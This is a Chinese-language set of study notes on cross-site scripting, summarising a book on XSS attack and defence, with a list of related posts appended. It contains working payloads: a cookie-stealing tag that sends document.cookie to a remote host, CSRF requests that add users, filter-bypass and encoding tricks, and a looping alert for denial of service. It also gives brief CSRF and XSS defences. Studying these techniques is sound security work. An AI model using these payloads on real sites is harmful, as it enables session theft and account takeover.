XSS学习笔记
本片文章是读<<XSS跨站脚本gj剖析与防御>>一书的总结
常见的XSS攻击主要用于
1.网络钓鱼,盗用用户账号
2.窃取cookies 非httponly情况下,读取document.cookie
通过xss注入读取document.cookie并将cookie信息记录到远程服务器,然后使用桂林老兵cookie欺骗工具与服务器建立绘画
document.write(<img src=http://xx.com/cookie.aspx?cookie='+document.cookie+'/>)
3.劫持用户浏览器会话(xss-proxy)
利用当前用户的会话,通过ajax请求,指定的操作页面,完成某种操作,比如添加管理员来提高权限;此种方式需要事先熟悉需要攻击网站的请求流程以及相关请求参数
4.强制挂广告
5.页面挂马
6.CSRF 跨站请求伪造 利用客户会话携带cookie访问漏洞平台的操作
常见形式<img src=http://www.xxx.com/adduser?username=/>
<script src="http://www.xxx.com/adduser?username=">
<iframe src="http://www.xxx.com/adduser?username="></iframe>
xmlhttp对象
攻击手段,预先分析漏洞平台的参数请求信息,构造expliot
http://www.xxx.com/adduser?username=xxxx
7.制作蠕虫病毒
8.获取客户端信息,用户浏览历史,ip
9dos/ddos攻击
通过注入恶意代码,劫持用户持续不断请求某服务器
<script>for(;;)alert('xss')</script>
反射性XSS
通过用户点击特定URL执行跨站脚本
持久性XSS
将可以脚本存储到客户端或服务器数据库,用户浏览器访问时执行
恶意脚本的执行途径
1.document.write()
2.后台直接绑定未经过滤的变量到前台
3.doc.InnerHtml直接赋值未经过滤的html片段 <img src=javascript:alert(/xxx/)/>
4.将包含恶意js代码的html文件伪装成图片,IE浏览器打开是利用IE浏览器的嗅探机制(ie浏览器时根据文件内容判断执行方式的,其他浏览器根据minetype和文件后缀选择执行方式)的特性,执行恶意代码
5.outlookexpress等邮件客户端软件,发送含有恶意js代码的邮件,收件人打开即中招
6.flash的swf文件制作时,加入geturl(javascript:alert(0))等恶意代码,页面引用swf文件时,中招
7.pdf文件制作时加入恶意js脚本, 代开引用该pdf文件的页面是,中招
8.MHTML 通过将恶意代码base64 编码,加入到MHTML文档中
xss的表现形式
1.利用<>标记注射html/javascript
2.利用html标签属性执行xss,很多html标记属性支持javascript:[code]
<table background="javascript:alert(/xss/)"></table>
<img src=javascript:alert(/xss/) />
3.空格,回车,Tab绕过限制
<img src='javas cript:alert(/xss/)'/>
4.对标签属性值进行转码 html的属性值支持ASCII玛
<img src="javascript:alert(/xss/)"/>;
5利用DOM事件
<img src="#" onerror=alert(/xss/)/>
6.利用css执行恶意js
body{background-image:url("javascript:aert('xss')")}
body{background-image:expression(alert("xss"))}
然后通过link引用该样式文件,执行攻击
7.通过大小写绕过过滤规则
<iMG SrC="JavAScriPt:alert(0)"/>
8.利用字符编码
javascript:alert('xss')进行10进制转码为jav........
<img scr="jav........"/>
9.eval()执行16进制字符串
eval("\x61\x6c\x65....")
10.windows.location.hash 的利用
location.hash获取页面标签的值(页面url里的#)
http://xxx.com/a.php?name="><script>eval(location.hash.substr(1))</script>#alert('xss')
注入的位置
document.URL
Location
document.referer
window.name
1.将危险代码编码后进行攻击
将js脚本转换成十进制或16进制作,Escape等编码为参数加入到路径中,以迷惑用户当伪装的参数输出到页面时,进行执行攻击脚本。
http://www.aa.com/search?q=<script>alert(/xxx/)</script>经16进制转换后伪装成:
http://www.aa.com/search?q=%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%2f%78%78%78%2f%29%3c%2f%73%63%72%69%70%74%3e
用户往往容易中招
json注入攻击
json中含有恶意代码name:<img src=javascript:alert(0)/>,然后执行eval()
常用工具
xss-proxy
XSS-SHELL
anehta 攻击力利器
livehttpheaders 调试http
tamper
fiddler http抓包调试工具
attackapi js攻击框架
beef
Acunetix Web Vulnerability Scanner XSS漏洞扫描工具
xssdetect
xss经常利用的漏洞
1.UTF-7BOMXSS
2.MHTML XSS
3.Data URIs XSS
4.CRLF
5.HACKjSON
CSRF防范手段
1.验证来源referer
2.验证码
3.使用token,加载页面时向页面隐藏于付一个加密的token,提交时客户端会提交此加密token,服务器端判断此token是否存在,并校验是否正确,不正确则是非法请求,可能是CSRF攻击
XSS防御技巧
过滤用户输入,输入编码,asp.net网站不要轻易关闭valicateRequest文章发布页面需要富文本时,使用微软的xss过滤框架HtmlSanitizationLibrary
XSS学习笔记的更多相关文章
- XSS学习笔记(四)-漏洞利用全过程
<script type="text/javascript" reload="1">setTimeout("window.location ...
- XSS学习笔记(一个)-点击劫持
所谓XSS这个场景被触发XSS地方,在大多数情况下,攻击者被嵌入在网页中(问题)该恶意脚本(Cross site Scripting),这里的攻击始终触发浏览器端,攻击的者的目的.一般都是获取用户的C ...
- XSS学习笔记(五)-XSS防御
如果只生产XSS的地方都与输入或输出相关联的.所以错过了主要矛盾.而且,我们将有一个解决问题的办法:您可以输入端砚格过滤,是可能的过滤输出时间,输出到用户的GET或POST中是否有敏感字符: 输入过滤 ...
- 【转载】XSS学习笔记
XSS的分类 非持久型 非持久型XSS也称反射型XSS.具体原理就是当用户提交一段代码的时候,服务端会马上返回页面的执行结果.那么当攻击者让被攻击者提交一个伪装好的带有恶意代码的链接时,服务端也会立刻 ...
- 2019-11-20:xss学习笔记
xxe漏洞防御使用开发语言提供的禁用外部实体的方法phplibxml_disable_entity_loader(true); 卢兰奇对象模型,bom由于现代浏览器实现了js交互性方面的相同方法和属性 ...
- xss学习笔记(萌新版)
xss简介 xss攻击者构造恶意信息然后在用户的浏览器上执行,主要分为反射性xss,这种主要是某个页面存在有漏洞的参数,然后填上恶意参数把整个链接发给用户或者管理员,他们点击了带有恶意参数的链接就会执 ...
- Web安全学习笔记 XSS上
Web安全学习笔记 XSS上 繁枝插云欣 --ICML8 XSS的分类和基本认识 XSS的危害 同源策略的基本认识 一.XSS的分类和基本认识 1. 简介 XSS全称为Cross Site Scrip ...
- Web For Pentester 学习笔记 - XSS篇
XSS学习还是比较抽象,主要最近授权测的某基金里OA的XSS真的实在是太多了,感觉都可以做一个大合集了,加上最近看到大佬的博客,所以这里我也写一个简单的小靶场手册,顺带着也帮助自己把所有XSS的方式给 ...
- ASP.Net开发基础温故知新学习笔记
申明:本文是学习2014版ASP.Net视频教程的学习笔记,仅供本人复习之用,也没有发布到博客园首页. 一.一般处理程序基础 (1)表单提交注意点: ①GET通过URL,POST通过报文体: ②需在H ...
随机推荐
- vue中assets和static的区别
Vue中assets和static的区别 再一次框架定型中,与同事在静态资源的存放上有了一些分歧,后来经过查阅总结如下: 相同点: assets和static两个都是存放静态资源文件.项目中所需要 ...
- Oozie_02安装遇到错误【20161116】
[错误原因]hadoop的core-site.xml配置错误 把用户名hadoop配置成了主机名hadoop01 <!-- OOZIE --><property> <n ...
- RabbitMQ部署
操作步骤: 安装依赖文件 -->yum install ncurses-devel 进入opt目录创建rabbitmq目录 -->cd /opt -->mkdir rabbitMQ ...
- linux之 LVM扩容
1. 查看本机现在磁盘的情况[root@oralce10g ~]# df Filesystem 1K-blocks Used Available Use% Mounted on/dev/mapper/ ...
- zipkin:mysql做存储,kafka做接收器,以及如何找到配置名称
mysql设定 1. 创建表结构: (源码路径)\zipkin-storage\mysql\src\main\resources\mysql.sql 2. zipkin的存储设置为mysql(coll ...
- 基数排序算法-python实现
#-*- coding: UTF-8 -*- import numpy as np def RadixSort(a): i = 0 #初始为个位排序 n = 1 #最小的位数置为1(包含0) max ...
- C语言 字符串处理函数 转自 http://blog.chinaunix.net/uid-25885064-id-3175049.html
C字符串处理函数 2012-04-13 18:14:16 分类: C/C++ void *memccpy (void *dest, const void *src, int c, size_t n) ...
- java Long
1. Long.valueOf(b) 返回的是对象 public static Long valueOf(String s) throws NumberFormatException { )); } ...
- xlrd库的使用
- Oracle 性能调优之:使用 V$SQL_PLAN 视图查询内存中的执行计划
V$SQL_PLAN视图提供了一种方法,可用于检查仍位于库高速缓存的游标的执行计划.此视图中的信息与 PLAN_TABLE 视图中的信息非常类似.但是,EXPLAIN PLAN 显示的是执行相应语句时 ...